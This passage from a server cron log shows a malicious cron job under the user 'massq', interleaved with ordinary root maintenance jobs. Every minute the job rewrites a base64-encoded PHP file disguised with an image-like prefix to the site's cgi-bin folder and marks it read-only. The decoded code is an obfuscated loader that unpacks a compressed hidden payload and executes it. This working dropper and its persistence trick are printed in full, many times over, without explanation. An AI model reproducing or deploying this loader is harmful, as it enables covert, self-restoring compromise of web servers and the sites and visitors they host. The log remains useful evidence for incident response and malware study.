ouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:18:01 server CROND[19990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:19:01 server CROND[20092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:20:01 server CROND[20169]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 09:20:01 server CROND[20170]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 09:20:01 server CROND[20174]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 09:20:01 server CROND[20176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:20:01 server CROND[20175]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 09:21:01 server CROND[20306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:22:01 server CROND[20371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:23:01 server CROND[20442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:24:01 server CROND[20587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:25:01 server CROND[20636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 09:25:01 server CROND[20637]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 09:25:01 server CROND[20638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:26:01 server CROND[20745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:27:01 server CROND[20828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:27:01 server CROND[20829]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 09:28:01 server CROND[20895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:29:01 server CROND[20953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:30:01 server CROND[21108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:30:01 server CROND[21110]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 09:30:01 server CROND[21109]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 09:30:01 server CROND[21111]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 09:31:01 server CROND[21238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCR